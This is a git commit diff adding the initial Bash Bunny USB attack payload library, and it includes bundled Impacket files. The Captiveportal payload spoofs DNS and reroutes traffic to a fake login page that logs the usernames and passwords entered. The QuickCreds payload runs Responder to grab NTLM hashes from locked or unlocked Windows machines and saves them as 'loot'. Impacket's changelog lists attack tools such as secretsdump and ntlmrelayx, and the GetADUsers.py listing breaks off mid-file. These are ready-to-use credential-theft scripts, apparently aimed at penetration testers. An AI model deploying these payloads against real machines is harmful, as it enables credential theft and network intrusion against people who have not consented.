commit b63d4c3c01194a2e69b4c2ae0c93d61faae285de Author: Darren Kitchen Date: Tue Feb 28 13:23:16 2017 -0800 Initial Bash Bunny Release diff --git a/payloads/library/Captiveportal/README.md b/payloads/library/Captiveportal/README.md new file mode 100644 index 0000000..0d70593 --- /dev/null +++ b/payloads/library/Captiveportal/README.md @@ -0,0 +1,24 @@ +# Captive Portal for the Bash Bunny + +Author: Sebkinne +Version: 1.0 + +## Description + +Redirects and spoofs all DNS requests to the Bash Bunny, and serves a configurable captive portal. All captured credentials will be logged in the payload's folder in a file named *capture.log*. + +## Configuration + +Configured for Windows by default. Swap RNDIS_ETHERNET for ECM_ETHERNET on Mac/*nix. + +The *portal.html* file can be modified as seen fit, but changes must remain in the file (no external images, css, or javascript). + +To capture more information from the user, simply add more form inputs to *portal.html*, and update the *INPUTS* line in payload.txt. Example: `INPUTS=(email username password)` + +## STATUS + +| LED | Status | +| ---------------- | ----------------------------------- | +| Green (blinking) | The captive portal is starting up | +| Blue (solid) | The captive portal is ready for use | + diff --git a/payloads/library/Captiveportal/captiveportal b/payloads/library/Captiveportal/captiveportal new file mode 100755 index 0000000..9e2b664 Binary files /dev/null and b/payloads/library/Captiveportal/captiveportal differ diff --git a/payloads/library/Captiveportal/payload.txt b/payloads/library/Captiveportal/payload.txt new file mode 100644 index 0000000..1f5e10c --- /dev/null +++ b/payloads/library/Captiveportal/payload.txt @@ -0,0 +1,38 @@ +#!/bin/bash +# +# Title: Captiveportal +# Author: Sebkinne +# Version: 1.0 + +# Add or remove inputs here +INPUTS=(username password) + +# Enable Ethernet (RNDIS = Windows, ECM = mac/*nix) +ATTACKMODE RNDIS_ETHERNET +#ATTACKMODE ECM_ETHERNET + +################################################################## +# DO NOT EDIT BELOW THIS LINE # +################################################################## + +# Sets up iptable forwarding and filters +function setupNetworking() { + echo 1 > /proc/sys/net/ipv4/ip_forward + iptables -A INPUT -i usb0 -p udp --dport 53 -j ACCEPT + iptables -A INPUT -i usb0 -p tcp --dport 443 -j DROP + iptables -t nat -A PREROUTING -i usb0 -p tcp --dport 80 -j DNAT --to-destination 172.16.64.1:8080 + iptables -t nat -A PREROUTING -i usb0 -p udp --dport 53 -j DNAT --to-destination 172.16.64.1:53 + iptables -t nat -A POSTROUTING -j MASQUERADE +} + +# Find payload directory and execute payload +function startCaptiveportal() { + cd $(dirname $(find /root/udisk/payloads/ -name portal.html)) + chmod +x captiveportal + ./captiveportal ${INPUTS[@]} +} + +LED G 200 +setupNetworking +startCaptiveportal & +LED B 0 diff --git a/payloads/library/Captiveportal/portal.html b/payloads/library/Captiveportal/portal.html new file mode 100755 index 0000000..453d5b1 --- /dev/null +++ b/payloads/library/Captiveportal/portal.html @@ -0,0 +1,18 @@ + + + Captive Portal + + + +

Captive Portal

+
+ Username:
+ Password:
+ +
+ + \ No newline at end of file diff --git a/payloads/library/QuickCreds/payload.txt b/payloads/library/QuickCreds/payload.txt new file mode 100644 index 0000000..cbc5015 --- /dev/null +++ b/payloads/library/QuickCreds/payload.txt @@ -0,0 +1,81 @@ +#!/bin/bash +# +# Title: Quick Creds +# Author: Hak5Darren -- Cred: Mubix +# Version: 1.0 +# +# Runs responder against target with specified options +# Saves sequential logs to mass storage loot folder +# +# Requires responder in /pentest/responder - run tools_installer payload first +# +# White Blinking.....Dependencies not met. Responder not installed in /pentest +# Red ...............Setup +# Red Blinking.......Setup Failed. Target did not obtain IP address. Exit. +# Amber Blinking.....Scanning +# Green..............Finished +# +# Options +RESPONDER_OPTIONS="-w -r -d -P" +LOOTDIR=/root/udisk/loot/quickcreds + +# Check for responder. If not found, blink WHITE and end. +if [ ! -d /pentest/responder/ ]; then + LED R G B 100 + exit 1 +fi + +# Set LED Red while setting up attack +LED R + +# Use RNDIS for Windows. Mac/*nix use ECM_ETHERNET +ATTACKMODE RNDIS_ETHERNET +#ATTACKMODE ECM_ETHERNET + +# Source bunny_helpers.sh for functions & variables TARGET_IP, TARGET_HOSTNAME +source bunny_helpers.sh + +# Setup named logs in loot directory +mkdir -p $LOOTDIR +HOST=${TARGET_HOSTNAME} +# If hostname is blank set it to "noname" +[[ -z "$HOST" ]] && HOST="noname" +COUNT=$(ls -lad $LOOTDIR/$HOST* | wc -l) +COUNT=$((COUNT+1)) +mkdir -p $LOOTDIR/$HOST-$COUNT + +# As a backup also copy logs to a loot directory in /root/loot/ +mkdir -p /root/loot/quickcreds/$HOST-$COUNT + +# Check target IP address. If unset, blink RED and end. +if [ -z "${TARGET_IP}" ]; then + LED R 100 + exit 1 +fi + +# Set LED yellow, run attack +LED G R 500 +cd /pentest/responder + +# Clean logs directory +rm logs/* + +# Run Responder with specified options +python Responder.py -I usb0 $RESPONDER_OPTIONS & + +# Wait until NTLM log is found +until [ -f logs/*NTLM* ] +do + # Ima just loop here until NTLM logs are found + sleep 1 +done + +# copy logs to loot directory +cp logs/* /root/loot/quickcreds/$HOST-$COUNT +cp logs/* $LOOTDIR/$HOST-$COUNT + +# Sync USB disk filesystem +sync + +# Light turns green - trap is clean. +LED G \ No newline at end of file diff --git a/payloads/library/QuickCreds/readme.md b/payloads/library/QuickCreds/readme.md new file mode 100644 index 0000000..b38e7ef --- /dev/null +++ b/payloads/library/QuickCreds/readme.md @@ -0,0 +1,31 @@ +# QuickCreds for Bash Bunnys + +Author: Hak5Darren +Version: Version 1.0 +Credit: Mubix + +## Description + +Snags credentials from locked or unlocked machines +Based on the attack by Mubix of Room362.com +Implements a responder attack. Saves creds to the loot folder on the USB Disk +Looks for *NTLM* log files + +## Configuration + +Configured for Windows by default. Swap RNDIS_ETHERNET for ECM_ETHERNET on Mac/*nix + +## Requirements + +Responder must be in /pentest/responder/ +Run the latest tools_installer payload or manually install + +## STATUS + +| LED | Status | +| ---------------- | ------------------------------------- | +| White (blinking) | Dependencies not met | +| Red | Setup | +| Red (blinking) | Setup Failed. Target didn't obtain IP | +| Amber | Responder running, waiting for creds | +| Green | Finished | diff --git a/payloads/library/bunny_helpers.sh b/payloads/library/bunny_helpers.sh new file mode 100644 index 0000000..110c3ca --- /dev/null +++ b/payloads/library/bunny_helpers.sh @@ -0,0 +1,19 @@ +#!/bin/bash + +################################################################################ +# Get target ip address and hostname from dhcp lease. +# This is for the attack mode of ETHERNET specified. +# Without ETHERNET specified, below environment variables will be empty. +# +# How this works? +# 1) ATTACKMODE waits until: +# a) target ip address is negotiated by dhcp +# b) time out +# 2) After ATTACKMODE, we can get target ip address and hostname. +################################################################################ +leasefile="/var/lib/dhcp/dhcpd.leases" +export TARGET_IP=$(cat $leasefile | grep ^lease | awk '{ print $2 }' | sort | uniq) +export TARGET_HOSTNAME=$(cat $leasefile | grep hostname | awk '{print $2 }' \ + | sort | uniq | tail -n1 | sed "s/^[ \t]*//" | sed 's/\"//g' | sed 's/;//') +export HOST_IP=$(cat /etc/network/interfaces.d/usb0 | grep address | awk {'print $2'}) + diff --git a/payloads/library/payloads.txt b/payloads/library/payloads.txt new file mode 100644 index 0000000..1407a49 --- /dev/null +++ b/payloads/library/payloads.txt @@ -0,0 +1 @@ +Update this library with the latest payload set from the Bash Bunny community and learn more about creating and publishing your own payloads at https://www.bashbunny.com diff --git a/payloads/library/tools_installer/install.sh b/payloads/library/tools_installer/install.sh new file mode 100644 index 0000000..320789c --- /dev/null +++ b/payloads/library/tools_installer/install.sh @@ -0,0 +1,45 @@ +# Check to ensure that the tools_to_install directory isn't empty. +# Exit with solid red LED if it is, otherwise note tools in log. +TOOLSDIR=$(find /root/udisk/payloads/ -name tools_to_install) +if [ "$(ls -A $TOOLSDIR)" ]; then + cd $TOOLSDIR + echo "Available Tools:" > /tmp/tools_installer.log + echo "----------------" >> /tmp/tools_installer.log + for i in $(ls -d */); do echo ${i%%/} >> /tmp/tools_installer.log; done +else + LED R + exit 1 +fi + +# Set LED to purple blinking and move tools +LED R B 100 +mkdir -p /pentest +mv $TOOLSDIR/* /pentest/ + +# Set LED to purple solid and check that move completed +LED R B +if [ "$(ls -A $TOOLSDIR)" ]; then + # Set LED to red on fail and exit + LED R + exit 1 +else + # Set LED to amber blinking on setup + LED G R 100 + + # Setup impacket + cd /pentest/impacket + python ./setup.py install + + # Additional tool setup goes here + + # List installed tools in /pentest and save to tools.txt on USB disk + cd /pentest/ + echo "Installed Tools:" > /root/udisk/installed-tools.txt + echo "----------------" >> /root/udisk/installed-tools.txt + for i in $(ls -d */); do echo ${i%%/} >> /root/udisk/installed-tools.txt; done + sync && sleep 1 && sync + + # Set LED to white on success + LED R G B + exit 0 +fi diff --git a/payloads/library/tools_installer/payload.txt b/payloads/library/tools_installer/payload.txt new file mode 100644 index 0000000..65e1f94 --- /dev/null +++ b/payloads/library/tools_installer/payload.txt @@ -0,0 +1,3 @@ +# All of the heavy lifting of this payload occurs in install.sh +# which gets renamed to install.sh.INSTALLED once completed. +ATTACKMODE SERIAL STORAGE diff --git a/payloads/library/tools_installer/readme.txt b/payloads/library/tools_installer/readme.txt new file mode 100644 index 0000000..bf505a2 --- /dev/null +++ b/payloads/library/tools_installer/readme.txt @@ -0,0 +1,13 @@ +Tools Installer for Bash Bunny +Version 1.1.0 + +Moves tools from the tools_to_install/ USB disk to /pentest on the Bash Bunny +When installation succeeds, install.sh will be renamed to install.sh.INSTALLED + +A list of installed tools is created on the USB disk as installed-tools.txt + +Purple Blinking.................Moving tools +Purple Solid....................Tools moved +Amber Blinking..................Setup tools +Red Solid.......................Tool installation failed +White Solid.....................Installation completed successfully \ No newline at end of file diff --git a/payloads/library/tools_installer/tools_to_install/impacket/.gitignore b/payloads/library/tools_installer/tools_to_install/impacket/.gitignore new file mode 100644 index 0000000..ba74660 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/.gitignore @@ -0,0 +1,57 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] + +# C extensions +*.so + +# Distribution / packaging +.Python +env/ +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +*.egg-info/ +.installed.cfg +*.egg + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*,cover + +# Translations +*.mo +*.pot + +# Django stuff: +*.log + +# Sphinx documentation +docs/_build/ + +# PyBuilder +target/ diff --git a/payloads/library/tools_installer/tools_to_install/impacket/ChangeLog b/payloads/library/tools_installer/tools_to_install/impacket/ChangeLog new file mode 100644 index 0000000..41a5bd2 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/ChangeLog @@ -0,0 +1,205 @@ +Complete list of changes can be found at: +https://github.com/CoreSecurity/impacket/commits/master + +June 2016: 0.9.15: +1) Library improvements + * SMB3.create: define CreateContextsOffset and CreateContextsLength when applicable (by @rrerolle) + * Retrieve user principal name from CCache file allowing to call any script with -k and just the target system (by @MrTchuss) + * Packet fragmentation for DCE RPC layer mayor overhaul. + * Improved pass-the-key attacks scenarios (by @skelsec) + * Adding a minimalistic LDAP/s implementation (supports PtH/PtT/PtK). Only search is available (and you need to + build the search filter yourself) + * IPv6 improvements for DCERPC/LDAP and Kerberos + +2) Examples improvements + * Adding -dc-ip switch to all examples. It allows to specify what the IP for the domain is. It assumes the DC and KDC + resides in the same server + * secretsdump.py + a. Adding support for Win2016 TP4 in LOCAL or -use-vss mode + b. Adding -just-dc-user switch to download just a single user data (DRSUAPI mode only) + c. Support for different ReplEpoch (DRSUAPI only) + d. pwdLastSet is also included in the output file + e. New structures/flags added for 2016 TP5 PAM support + * wmiquery.py + a. Adding -rpc-auth-level switch (by @gadio) + * smbrelayx.py + a. Added option to specify authentication status code to be sent to requesting client (by @mgeeky) + b. Added one-shot parameter. After successful authentication, only execute the attack once for each target (per protocol) + +3) New Examples + * GetUserSPNs.py: This module will try to find Service Principal Names that are associated with normal user account. + This is part of the kerberoast attack researched by Tim Medin (@timmedin) + * ntlmrelayx.py: smbrelayx.py on steroids!. NTLM relay attack from/to multiple protocols (HTTP/SMB/LDAP/MSSQL/etc) + (by @dirkjanm) + +January 2016: 0.9.14: +1) Library improvements + * [MS-TSCH] - ATSVC, SASec and ITaskSchedulerService Interface implementations + * [MS-DRSR] - Directory Replication Service DRSUAPI Interface implementation + * Network Data Representation (NDR) runtime overhaul. Big performance and reliability improvements achieved + * Unicode support (optional) for the SMBv1 stack (by @rdubourguais) + * NTLMv2 enforcement option on SMBv1 client stack (by @scriptjunkie) + * Kerberos support for TDS (MSSQL) + * Extended present flags support on RadioTap class + * Old DCERPC runtime code removed + +2) Examples improvements + * mssqlclient.py: Added Kerberos authentication support + * atexec.py: It now uses ITaskSchedulerService interface, adding support for Windows 2012 R2 + * smbrelayx.py: + * If no file to upload and execute is specified (-E) it just dumps the target user's hashes by default + * Added -c option to execute custom commands in the target (by @byt3bl33d3r) + * secretsdump.py: + a. Active Directory hashes/Kerberos keys are dumped using [MS-DRSR] (IDL_DRSGetNCChanges method) + by default. VSS method is still available by using the -use-vss switch + b. Added -just-dc (Extract only NTDS.DIT NTLM Hashes and Kerberos) and + -just-dc-ntlm ( only NTDS.DIT NTLM Hashes ) options + c. Added resume capability (only for NTDS in DRSUAPI mode) in case the connection drops. Use -resumefile option + d. Added Primary:CLEARTEXT Property from supplementalCredentials attribute dump ([MS-SAMR] 3.1.1.8.11.5) + e. Add support for multiple password encryption keys (PEK) (by @s0crat) + * goldenPac.py: Tests all DCs in domain and adding forest's enterprise admin group inside PAC + +3) New examples + * raiseChild.py: Child domain to forest privilege escalation exploit. Implements a child-domain to forest privilege + escalation as detailed by Sean Metcalf at https://adsecurity.org/?p=1640 + * netview.py: Gets a list of the sessions opened at the remote hosts and keep track of them (original idea by @mubix) + +May 2015: 0.9.13: +1) Library improvements + * Kerberos support for SMB and DCERPC featuring: + a. kerberosLogin() added to SMBConnection (all SMB versions). + b. Support for RPC_C_AUTHN_GSS_NEGOTIATE at the DCERPC layer. This will + negotiate Kerberos. This also includes DCOM. + c. Pass-the-hash, pass-the-ticket and pass-the-key support. + d. Ccache support, compatible with Kerberos utilities (kinit, klist, etc). + e. Support for RC4, AES128_CTS_HMAC_SHA1_96 and AES256_CTS_HMAC_SHA1_96 ciphers. + f. Support for RPC_C_AUTHN_LEVEL_PKT_PRIVACY/RPC_C_AUTHN_LEVEL_PKT_INTEGRITY. + * SMB3 encryption support. Pycrypto experimental version that supports + AES_CCM is required. + * [MS-SAMR]: Supplemental Credentials support (used by secretsdump.py) + * SMBSERVER improvements: + a. SMB2 (2.002) dialect experimental support. + b. Adding capability to export to John The Ripper format files + * Library logging overhaul. Now there's a single logger called 'impacket'. + +2) Examples improvements + * Added Kerberos support to all modules (incl. pass-the-ticket/key) + * Ported most of the modules to the new dcerpc.v5 runtime. + * secretsdump.py: Added dumping Kerberos keys when parsing NTDS.DIT + * smbserver.py: support for SMB2 (not enabled by default) + * smbrelayx.py: Added support for MS15-027 exploitation. + +3) New examples + * goldenPac.py: MS14-068 exploit. Saves the golden ticket and also launches a + psexec session at the target. + * karmaSMB.py: SMB Server that answers specific file contents regardless of + the SMB share and pathname requested. + * wmipersist.py: Creates persistence over WMI. Adds/Removes WMI Event + Consumers/Filters to execute VBS based on a WQL filter or timer specified. + +July 2014: 0.9.12: +1) The following protocols were added based on its standard definition + * [MS-DCOM] - Distributed Component Object module Protocol (dcom.py) + * [MS-OAUT] - OLE Automation Protocol (dcom/oaut.py) + * [MS-WMI]/[MS-WMIO] : Windows Management Instrumentation Remote Protocol (dcom/wmi.py) + +2) New examples + a. wmiquery.py: executes WMI queries and get WMI object's descriptions. + b. wmiexec.py: agent-less, semi-interactive shell using WMI. + c. smbserver.py: quick an easy way to share files using the SMB protocol. + +February 2014: 0.9.11: +1) New RPC and NDR runtime (located at impacket.dcerpc.v5, old one still available) + a. Support marshaling/unmarshaling for NDR20 and NDR64 (experimental) + b. Support for RPC_C_AUTHN_NETLOGON (experimental) + c. The following interface were developed based on its standard definition: + * [MS-LSAD] - Local Security Authority (Domain Policy) Remote Protocol (lsad.py) + * [MS-LSAT] - Local Security Authority (Translation Methods) Remote Protocol (lsat.py) + * [MS-NRPC] - Netlogon Remote Protocol (nrpc.py) + * [MS-RRP] - Windows Remote Registry Protocol (rrp.py) + * [MS-SAMR] - Security Account Manager (SAM) Remote Protocol (samr.py) + * [MS-SCMR] - Service Control Manager Remote Protocol (scmr.py) + * [MS-SRVS] - Server Service Remote Protocol (srvs.py) + * [MS-WKST] - Workstation Service Remote Protocol (wkst.py) + * [MS-RPCE]-C706 - Remote Procedure Call Protocol Extensions (epm.py) + * [MS-DTYP] - Windows Data Types (dtypes.py) + Most of the DCE Calls have helper functions for easier use. Test cases added for + all calls (check the test cases directory) +2) ESE parser (Extensive Storage Engine) (ese.py) +3) Windows Registry parser (winregistry.py) +4) TDS protocol now supports SSL, can be used from mssqlclient +5) Support for EAPOL, EAP and WPS decoders +6) VLAN tagging (IEEE 802.1Q and 802.1ad) support for ImpactPacket, done by dan.pisi +7) New examples + a. rdp_check.py: tests whether an account (pwd or hashes) is valid against an RDP server + b. esentutl.py: ESE example to show how to interact with ESE databases (e.g. NTDS.dit) + c. ntfs-read.py: mini shell for browsing an NTFS volume + d. registry-read.py: Windows offline registry reader + e. secretsdump.py: agent-less remote windows secrets dump (SAM, LSA, CDC, NTDS) + +March 2013: 0.9.10: +1) SMB version 2 and 3 protocol support ([MS-SMB2]). Signing supported, encryption for SMB3 still pending. +2) Added a SMBConnection layer on top of each SMB specific protocol. Much simpler and SMB version independent. + It will pick the best SMB Version when connecting against the target. Check smbconnection.py for a list of available + methods across all the protocols. +3) Partial TDS implementation ([MS-TDS] & [MC-SQLR]) so we could talk with MSSQL Servers. +4) Unicode support for the smbserver. Newer OSX won't connect to a non unicode SMB Server. +5) DCERPC Endpoints' new calls + a. EPM: lookup(): It can work as a general portmapper, or just to find specific interfaces/objects. +6) New examples + a. mssqlclient.py: A MS SQL client, allowing to do MS SQL or Windows Authentication (accepts hashes) and then gives + you an SQL prompt for your pleasure. + b. mssqlinstance.py: Lists the MS SQL instances running on a target machine. + c. rpcdump.py: Output changed. Hopefully more useful. Parsed all the Windows Protocol Specification looking for the + UUIDs used and that information is included as well. This could be helpful when reading a portmap output and to + develop new functionality to interact against a target interface. + d. smbexec.py: Another alternative to psexec. Less capabilities but might work on tight AV environments. Based on the + technique described at http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access. It also + supports instantiating a local smbserver to receive the output of the commandos executed for those situations + where no share is available on the other end. + e. smbrelayx.py: It now also listens on port 80 and forwards/reflects the credentials accordingly. + +And finally tons of fixes :). + +July 2012: 0.9.9: +1) Added 802.11 packets encoding/decoding +2) Addition of support for IP6, ICMP6 and NDP packets. Addition of IP6_Address helper class. +3) SMB/DCERPC + a. GSS-API/SPNEGO Support. + b. SPN support in auth blob. + c. NTLM2 and NTLMv2 support. + d. Default SMB port now 445. If *SMBSERVER is specified the library will try to resolve the netbios name. + e. Pass the hash supported for SMB/DCE-RPC. + f. IPv6 support for SMB/NMB/DCERPC. + g. DOMAIN support for authentication. + h. SMB signing support when server enforces it. + i. DCERPC signing/sealing for all NTLM flavours. + j. DCERPC transport now accepts an already established SMB connection. + k. Basic SMBServer implementation in Python. It allows third-party DCE-RPC servers to handle DCERPC Request (by + forwarding named pipes requests). + l. Minimalistic SRVSVC dcerpc server to be used by SMBServer in order to avoidg Windows 7 nasty bug when that pipe's + not functional. + +4) DCERPC Endpoints' new calls + a. SRVSVC: NetrShareEnum(Level1), NetrShareGetInfo(Level2), NetrServerGetInfo(Level2), NetrRemoteTOD(), + NetprNameCanonicalize(). + b. SVCCTL: CloseServiceHandle(), OpenSCManagerW(), CreateServiceW(), StartServiceW(), OpenServiceW(), OpenServiceA(), + StopService(), DeleteService(), EnumServicesStatusW(), QueryServiceStatus(), QueryServiceConfigW(). + c. WKSSVC: NetrWkstaTransportEnum(). + d. SAMR: OpenAlias(), GetMembersInAlias(). + e. LSARPC: LsarOpenPolicy2(), LsarLookupSids(), LsarClose(). + +5) New examples + a. ifmap.py: First, this binds to the MGMT interface and gets a list of interface IDs. It adds to this a large list + of interface UUIDs seen in the wild. It then tries to bind to each interface and reports whether the interface is + listed and/or listening. + b. lookupsid.py: DCE/RPC lookup sid brute forcer example. + c. opdump.py: This binds to the given hostname:port and DCERPC interface. Then, it tries to call each of the first + 256 operation numbers in turn and reports the outcome of each call. + d. services.py: SVCCTL services common functions for manipulating services (START/STOP/DELETE/STATUS/CONFIG/LIST). + e. test_wkssvc: DCE/RPC WKSSVC examples, playing with the functions Implemented. + f. smbrelayx: Passes credentials to a third party server when doing MiTM. + g. smbserver: Multiprocess/threading smbserver supporting common file server functions. Authentication all done but + not enforced. Tested under Windows, Linux and MacOS clients. + h. smbclient.py: now supports history, new commands also added. + i. psexec.py: Execute remote commands on Windows machines diff --git a/payloads/library/tools_installer/tools_to_install/impacket/LICENSE b/payloads/library/tools_installer/tools_to_install/impacket/LICENSE new file mode 100644 index 0000000..4b0f53e --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/LICENSE @@ -0,0 +1,84 @@ +Licencing +--------- + +We provide this software under a slightly modified version of the +Apache Software License. The only changes to the document were the +replacement of "Apache" with "Impacket" and "Apache Software Foundation" +with "CORE Security Technologies". Feel free to compare the resulting +document to the official Apache license. + +The `Apache Software License' is an Open Source Initiative Approved +License. + + +The Apache Software License, Version 1.1 +Modifications by CORE Security Technologies (see above) + +Copyright (c) 2000 The Apache Software Foundation. All rights +reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in + the documentation and/or other materials provided with the + distribution. + +3. The end-user documentation included with the redistribution, + if any, must include the following acknowledgment: + "This product includes software developed by + CORE Security Technologies (http://www.coresecurity.com/)." + Alternately, this acknowledgment may appear in the software itself, + if and wherever such third-party acknowledgments normally appear. + +4. The names "Impacket" and "CORE Security Technologies" must + not be used to endorse or promote products derived from this + software without prior written permission. For written + permission, please contact oss@coresecurity.com. + +5. Products derived from this software may not be called "Impacket", + nor may "Impacket" appear in their name, without prior written + permission of CORE Security Technologies. + +THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED +WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR +ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF +USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT +OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + + + +Smb.py and nmb.py are based on Pysmb by Michael Teo +(http://miketeo.net/projects/pysmb/), and are distributed under the +following license: + +This software is provided 'as-is', without any express or implied +warranty. In no event will the author be held liable for any damages +arising from the use of this software. + +Permission is granted to anyone to use this software for any purpose, +including commercial applications, and to alter it and redistribute it +freely, subject to the following restrictions: + +1. The origin of this software must not be misrepresented; you must + not claim that you wrote the original software. If you use this + software in a product, an acknowledgment in the product + documentation would be appreciated but is not required. + +2. Altered source versions must be plainly marked as such, and must + not be misrepresented as being the original software. + +3. This notice cannot be removed or altered from any source + distribution. diff --git a/payloads/library/tools_installer/tools_to_install/impacket/MANIFEST.in b/payloads/library/tools_installer/tools_to_install/impacket/MANIFEST.in new file mode 100644 index 0000000..3fe2120 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/MANIFEST.in @@ -0,0 +1,4 @@ +include MANIFEST.in +include LICENSE +include ChangeLog +recursive-include examples *.txt *.py diff --git a/payloads/library/tools_installer/tools_to_install/impacket/README.md b/payloads/library/tools_installer/tools_to_install/impacket/README.md new file mode 100644 index 0000000..72bae2f --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/README.md @@ -0,0 +1,83 @@ +What is Impacket? +================= + +Impacket is a collection of Python classes for working with network +protocols. Impacket is focused on providing low-level +programmatic access to the packets and for some protocols (for +instance NMB, SMB1-3 and MS-DCERPC) the protocol implementation itself. +Packets can be constructed from scratch, as well as parsed from +raw data, and the object oriented API makes it simple to work with +deep hierarchies of protocols. The library provides a set of tools +as examples of what can be done within the context of this library. + +A description of some of the tools can be found at: +http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=Impacket + +What protocols are featured? +---------------------------- + + * Ethernet, Linux "Cooked" capture. + * IP, TCP, UDP, ICMP, IGMP, ARP. (IPv4 and IPv6) + * NMB and SMB1/2/3 (high-level implementations). + * DCE/RPC versions 4 and 5, over different transports: UDP (version 4 + exclusively), TCP, SMB/TCP, SMB/NetBIOS and HTTP. + * Portions of the following DCE/RPC interfaces: Conv, DCOM (WMI, OAUTH), + EPM, SAMR, SCMR, RRP, SRVSC, LSAD, LSAT, WKST, NRPC. + + +Getting Impacket +================ + +* [Current and past releases](https://github.com/CoreSecurity/impacket/releases) +* [Trunk](https://github.com/CoreSecurity/impacket) + +Setup +===== + +Quick start +----------- + +Grab the latest stable release, unpack it and run `python setup.py +install` from the directory where you placed it. Isn't that easy? + + +Requirements +============ + + * A Python interpreter. Versions 2.0.1 and newer are known to work. + 1. If you want to run the examples and you have Python < 2.7, you + will need to install the `argparse` package for them to work. + 2. For Kerberos support you will need `pyasn1` package + 3. For cryptographic operations you will need `pycrypto` package + 4. For some examples you will need `pyOpenSSL` (rdp_check.py) and ldap3 (ntlmrelayx.py) + 5. For ntlmrelayx.py you will also need `ldapdomaindump` + 6. If you're under Windows, you will need `pyReadline` + * A recent release of Impacket. + +Installing +---------- + +In order to install the source execute the following command from the +directory where the Impacket's distribution has been unpacked: `python +setup.py install`. This will install the classes into the default +Python modules path; note that you might need special permissions to +write there. For more information on what commands and options are +available from setup.py, run `python setup.py --help-commands`. + + +Licensing +========= + +This software is provided under under a slightly modified version of +the Apache Software License. See the accompanying LICENSE file for +more information. + +SMBv1 and NetBIOS support based on Pysmb by Michael Teo. + + +Contact Us +========== + +Whether you want to report a bug, send a patch or give some +suggestions on this package, drop us a few lines at +oss@coresecurity.com. diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/GetADUsers.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/GetADUsers.py new file mode 100644 index 0000000..d39a833 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/GetADUsers.py @@ -0,0 +1,263 @@ +#!/usr/bin/env python +# Copyright (c) 2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: +# Alberto Solino (@agsolino) +# +# Description: +# This script will gather data about the domain's users and their corresponding email addresses. It will also +# include some extra information about last logon and last password set attributes. +# You can enable or disable the the attributes shown in the final table by changing the values in line 184 and +# headers in line 190. +# If no entries are returned that means users don't have email addresses specified. +# +# Reference for: +# LDAP +# + + +import argparse +import logging +import os +import sys +from datetime import datetime +from binascii import hexlify, unhexlify + +from pyasn1.codec.der import decoder +from impacket import version +from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_NORMAL_ACCOUNT +from impacket.examples import logger +from impacket.krb5 import constants +from impacket.krb5.asn1 import TGS_REP +from impacket.krb5.ccache import CCache +from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS +from impacket.krb5.types import Principal +from impacket.ldap import ldap, ldapasn1 +from impacket.smbconnection import SMBConnection + + +class GetADUsers: + @staticmethod + def printTable(items, header): + colLen = [] + for i, col in enumerate(header): + rowMaxLen = max([len(row[i]) for row in items]) + colLen.append(max(rowMaxLen, len(col))) + + outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)]) + + # Print header + print outputFormat.format(*header) + print ' '.join(['-' * itemLen for itemLen in colLen]) + + # And now the rows + for row in items: + print outputFormat.format(*row) + + def __init__(self, username, password, domain, cmdLineOptions): + self.options = cmdLineOptions + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = cmdLineOptions.aesKey + self.__doKerberos = cmdLineOptions.k + self.__target = None + self.__kdcHost = cmdLineOptions.dc_ip + self.__requestUser = cmdLineOptions.user + if cmdLineOptions.hashes is not None: + self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') + + # Create the baseDN + domainParts = self.__domain.split('.') + self.baseDN = '' + for i in domainParts: + self.baseDN += 'dc=%s,' % i + # Remove last ',' + self.baseDN = self.baseDN[:-1] + + def getMachineName(self): + if self.__kdcHost is not None: + s = SMBConnection(self.__kdcHost, self.__kdcHost) + else: + s = SMBConnection(self.__domain, self.__domain) + try: + s.login('', '') + except Exception: + logging.debug('Error while anonymous logging into %s' % self.__domain) + + s.logoff() + return s.getServerName() + + @staticmethod + def getUnixTime(t): + t -= 116444736000000000 + t /= 10000000 + return t + + def run(self): + if self.__doKerberos: + self.__target = self.getMachineName() + else: + if self.__kdcHost is not 